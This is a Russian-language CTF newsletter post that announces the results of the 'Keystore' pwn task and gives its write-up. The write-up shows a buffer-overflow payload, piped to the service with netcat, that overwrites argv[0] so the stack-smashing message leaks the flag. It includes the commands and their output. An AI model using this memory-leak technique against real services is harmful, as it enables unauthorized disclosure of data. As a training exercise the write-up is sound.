Ура! Сегодня мы в предпоследний раз пишем вам о завершении тасковой недели. И пока мы не перешли к разбору и скорборду, хотим заранее заинтриговать следующим заданием — кажется, в нём будет всё, что вы любите.
Задание, выданное в понедельник, выглядело так:
Keystore (300 PTS)
Один из организаторов ЛШ2019 использует самодельный сервис для хранения паролей, естественно все защищено по максимуму и известны только ip и port сервиса. Я думаю и тут для тебя нет преград (x86)
nc pwn.letoctf.org 15551
И несмотря на два хинта, выданных в течение недели, решить таск смогли только два человека:
- rinagert512 - 1864 PTS
- kekov - 1847 PTS
Райтап:
Попробуем подключится к сервису с помощью netcat и отправим строку длиной в 100 символов:
python -c "print 'a'×100" | nc localhost 15551
………………
[*]ENTER PASSWORD: *** stack smashing detected ***: /app/keystore terminated
[!]INCORRECT PASSWORD!
Видим, что программа защищена с помощью SSP (Stack Smashing Protector) от переполнения буфера.
Зная, что в конце выводится полное имя запущенной программы, попробуем переполнить буфер до аргументов (argv[0] – имя запускаемой программы).
python -c "print 'a'×216" | nc localhost 15551
………………..
[*]ENTER PASSWORD: *** stack smashing detected ***: terminated
[!]INCORRECT PASSWORD!
Здесь название уже не выводится, т.к. в конце передаваемой строки стоит байт, означающий завершение строки, а значит, в argv[0] пустая строка.
Следующим шагом будет перебор адресного пространства x86 приложения (0x08040000 – 0x0804ffff) (можно написать скрпит для перебора). На адресе 0x0804a01c найдем наш флаг:
python -c "print 'a'×216+'x08x04xa0x1c'[::-1]" | nc localhost 15551
………………
[*]ENTER PASSWORD: *** stack smashing detected ***: LetoCTF{YES_SSP_1nF0l34k} terminated
[!]INCORRECT PASSWORD!
Мы в соцсетях